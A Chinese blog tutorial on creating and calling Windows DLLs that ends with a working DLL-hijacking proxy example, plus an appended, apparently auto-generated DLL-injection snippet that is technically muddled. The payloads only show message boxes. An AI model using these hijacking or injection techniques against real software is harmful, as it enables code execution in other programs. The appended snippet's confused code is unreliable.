DLL的创建,调用与DLL劫持

        DLL平时经常用到,不过没系统整理过,刚好最近在读<<计算机病毒揭秘与对抗>>,就做了些小例子,把关于DLL的部份整理了下.
内容包含下列几部份:
一。 DLL创建
  a. __declspec(dllexport) 关键字导出函数
  b. DEF文件方式导出函数名或仅导出函数序号
二。DLL调用
  a. 静态方式调用
  b. 动态方式调用
  c. 仅函数序号方式的调用

三。如何劫持DLL


一。 DLL创建
a. __declspec(dllexport) 关键字导出函数
代码如下: 

#include "stdafx.h"

#include <Windows.h>
#include <tchar.h>

#ifdef _MANAGED
#pragma managed(push, off)
#endif

HANDLE g_hModule = NULL; //保存自己的模块句柄

//导出函数
extern "C" __declspec(dllexport) void Test()
{
	TCHAR tcModulePath[MAX_PATH] = {0};

	//获得自身的完整路径
	GetModuleFileName( (HMODULE)g_hModule,tcModulePath,MAX_PATH);
	MessageBox(0,tcModulePath,_T("testdll的加载路径"),0);
}


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	g_hModule = hModule; //保存模块加载句柄
    return TRUE;
}

#ifdef _MANAGED
#pragma managed(pop)
#endif

b. DEF文件方式导出函数名或仅导出函数序号
 1. 编译DLL代码
#include "stdafx.h"
#include <tchar.h>

#ifdef _MANAGED
#pragma managed(push, off)
#endif

HANDLE g_hModule = NULL; //保存自己的模块句柄

// DEF文件方式,函数前不需要导出函数关键字 __declspec(dllexport) 
void Test()
{
	TCHAR tcModulePath[MAX_PATH] = {0};

	//获得自身的完整路径
	GetModuleFileName( (HMODULE)g_hModule,tcModulePath,MAX_PATH);
	MessageBox(0,tcModulePath,_T("testdll的加载路径"),0);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	g_hModule = hModule; //保存模块加载句柄
    return TRUE;
}

#ifdef _MANAGED
#pragma managed(pop)
#endif

2. 创建DEF文件:testdll.def
LIBRARY	"testdll.lib" ;导出模块名
DESCRIPTION "DEF文件方式"
EXPORTS ;关键字,后面要跟导出函数信息
Test @2	;导出Test函数,导出序号为2
;Test @3 noname ;导出函数Test,导出序号为3,并不导出函数名
各种情况下的导出效果对比:
不使用DEF文件的效果如下:

当为 "Test @2 ;导出Test函数,导出序号为2" 时:

当为 "Test @3 noname ;导出函数Test,导出序号为3,并且不导出函数名" 时 :



注意看"Ordinal"与"Function"的不同.

二。DLL调用
a. 静态方式调用

例子对应"a. __declspec(dllexport) 关键字导出函数"创建的DLL库
这种方式,需要.lib文件和.DLL文件。
例子中是用"#pragma comment(lib"方式,也可在工程属性中常规和输入中指定.lib及所在目录

#include "stdafx.h"

//静态链接方式:
#pragma comment(lib,"..\\debug\\testdll.lib")
extern "C" void Test();

int _tmain(int argc, _TCHAR* argv[])
{
	Test();
	return 0;
}
///

b. 动态方式调用

  这种方式不需要.lib文件,只要知道DLL导出函数的格式就行了。

#include "stdafx.h"

//动态链接方式:
typedef void (* TEST)();
int _tmain(int argc, _TCHAR* argv[])
{
	HMODULE hDll = LoadLibraryA("testdll.dll");
	if(hDll)
	{
		TEST test = (TEST)GetProcAddress(hDll,"Test");
		if(test != NULL)
		{
			test();
		}
		FreeLibrary(hDll);

	}
	return 0;
}
///

c. 仅函数序号方式的调用
例子对应DEF方式生成库时" Test @3 noname ;导出函数Test,导出序号为3,并不导出函数名"创建的DLL库

#include "stdafx.h"


//DLL仅导出函数序号,没有导出函数名称的调用方式:
typedef void (* TEST)();
int _tmain(int argc, _TCHAR* argv[])
{
	DWORD dwOrdinal = MAKELONG(3,0); //构造函数序号,低字节为序号,高字为0

	HMODULE hDll = LoadLibraryA("testdll.dll");
	if(hDll)
	{
		TEST test = (TEST)GetProcAddress(hDll,(LPCSTR)dwOrdinal);
		if(test != NULL)
		{
			test();
		}
		FreeLibrary(hDll);

	}
	return 0;
}

///

三。如何劫持DLL
在不知道一个EXE源码的情况下,将自己写的代码注入到其中,有两种方法:
1. 直接向对方进程空间使用写内存的方式写入代码
2. 将自己的代码写入到DLL文件中,然后通过劫持EXE所调用的DLL的方式来达到目地。

劫持DLL就是第二种方式的实现方式.

可钻的空子,在于动态链接库文件的加载顺序下,只要让自定义的相同名字的DLL抢先被EXE文件找到,就达到目的了。
顺序如下:
  windows xp sp2系统以上会默认开启SafeDllSearchMode,在这种模式下DLL文件的搜索顺序如下所示:
  (1)可执行程序加载的目录(可理解为程序安装目录比如 E:\XclCode\testdll\testdll\debug)
  (2)系统目录(即 %windir%\system32 )
  (3)16位系统目录(即 %windir%\system)
  (4)Windows目录(即 %windir%)
  (5)当前目录(运行的某个文件所在目录,比如C:\Documents and Settings\Administrator\Desktop\test)
  (6)PATH环境变量中列出的目录

具体实现步骤如下:

 1.  依前面" a. __declspec(dllexport) 关键字导出函数" 的方法创建一个testdll.dll库
 2. 将其剪到指定目录下: E:\\XclCode\\testdll\\dll
 3. 创建一个名字一样的DLL工程,创建testdll.dll库
    例子代码如下:
#include "stdafx.h"
#include <string.h>

#ifdef _MANAGED
#pragma managed(push, off)
#endif

//这个函数指针保存原始dll导出函数的地址
typedef void (* FUNTEST)();
FUNTEST g_funTest = NULL;

///
/*
//方法一:
extern "C" __declspec(dllexport) void Test()
{
	g_funTest();
}
*/
///
///
/*
//方法二:
//__declspec(naked) :
//  不生成栈平衡效验代码,栈空间开辟代码等调试代码,函数内部内嵌汇编代码直接跳转到原始DLL的导出函数中执行

extern "C" __declspec(naked) __declspec(dllexport) void Test()
{
	__asm jmp dword ptr [g_funTest]
}
*/
///


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
 //进程加载时调用DLLMain
	if(ul_reason_for_call ==DLL_PROCESS_ATTACH)
	{
		//禁用进程内线程创建或退出而调用DllMain入口函数
		DisableThreadLibraryCalls(hModule);
		//获取原始dll导出的函数地址并保存
		char cDllPath[MAX_PATH] = {0};

		//GetSystemDirectoryA( (LPSTR)cDllPath,MAX_PATH);
		//strcat(cDllPath," 1"); //采用导出函数序号的方式调用
		MessageBoxA(0,"劫持成功 by xiongchuanliang! 可以为所欲为了。","劫持库",0);
		//被劫持的,实际要调用的DLL
		strcpy(cDllPath,"E:\\XclCode\\testdll\\dll\\testdll.dll");		
		HMODULE hDll = LoadLibraryA(cDllPath);
		g_funTest = (FUNTEST)GetProcAddress(hDll,"Test");
	}

    return TRUE;
}

#ifdef _MANAGED
#pragma managed(pop)
#endif
 其中关于函数,有两种方法可以参考下。

4. 创建一个调用测试程序,可参照" b. 动态方式调用"例子的代码
5. 将第三步创建的劫持的dll,放入到与第四步创建的exe同一目录下
6. 动行即可看到,MessageBox被弹出了两次

如何解决DLL劫持问题,官网有完整的说明:
http://msdn.microsoft.com/en-us/library/ms682586%28v=vs.85%29.aspx


MAIL: xcl_168@aliyun.com

BLOG: http://blog.csdn.net/xcl168




  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
MemoryProfilerRuntimeWin.dll 劫持是一种代码注入技术,可以修改程序的行为、窃取敏感信息或实现其他恶意行为。这里提供一个简单的示例来说明如何劫持 MemoryProfilerRuntimeWin.dll。 首先,我们需要编写一个 DLL,用于劫持 MemoryProfilerRuntimeWin.dll 的函数。以下是一个简单的示例: ```cpp #include <Windows.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(NULL, L"MemoryProfilerRuntimeWin.dll has been loaded!", L"DLL Injection", MB_OK); break; case DLL_PROCESS_DETACH: MessageBox(NULL, L"MemoryProfilerRuntimeWin.dll is being unloaded!", L"DLL Injection", MB_OK); break; } return TRUE; } extern "C" __declspec(dllexport) void Inject() { MessageBox(NULL, L"Injected successfully!", L"DLL Injection", MB_OK); } ``` 这个 DLL 中的 `DllMain` 函数会在 DLL 被加载和卸载时被调用,我们在这里添加了弹窗提示。除此之外,我们还编写了一个名为 `Inject` 的函数,用于注入后被调用。 接下来,我们使用一个简单的 C++ 代码来注入 DLL: ```cpp #include <Windows.h> #include <iostream> int main() { // 获取 MemoryProfilerRuntimeWin.dll 的模块句柄 HMODULE hModule = GetModuleHandle(L"MemoryProfilerRuntimeWin.dll"); if (!hModule) { std::cout << "Failed to get module handle!" << std::endl; return -1; } // 获取 LoadLibrary 函数的地址 FARPROC pfnLoadLibrary = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA"); if (!pfnLoadLibrary) { std::cout << "Failed to get LoadLibrary address!" << std::endl; return -1; } // 在 MemoryProfilerRuntimeWin.dll 中注入 DLL HANDLE hThread = CreateRemoteThread(GetCurrentProcess(), NULL, 0, (LPTHREAD_START_ROUTINE)pfnLoadLibrary, "InjectedDLL.dll", 0, NULL); if (!hThread) { std::cout << "Failed to inject DLL!" << std::endl; return -1; } std::cout << "DLL injected successfully!" << std::endl; // 等待线程结束 WaitForSingleObject(hThread, INFINITE); // 关闭线程句柄 CloseHandle(hThread); return 0; } ``` 这段代码会获取 MemoryProfilerRuntimeWin.dll 的模块句柄,然后使用 `GetProcAddress` 函数获取 `LoadLibrary` 函数的地址,最后调用 `CreateRemoteThread` 函数在 MemoryProfilerRuntimeWin.dll 中注入我们编写的 DLL。 当我们运行这个程序时,我们会看到三个弹窗提示:一个是 `MemoryProfilerRuntimeWin.dll has been loaded!`,一个是 `Injected successfully!`,最后一个是 `MemoryProfilerRuntimeWin.dll is being unloaded!`。 这就是一个简单的 MemoryProfilerRuntimeWin.dll 劫持的示例。需要注意的是,这种技术可能会被杀毒软件或操作系统防护机制识别并拦截,应当谨慎使用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值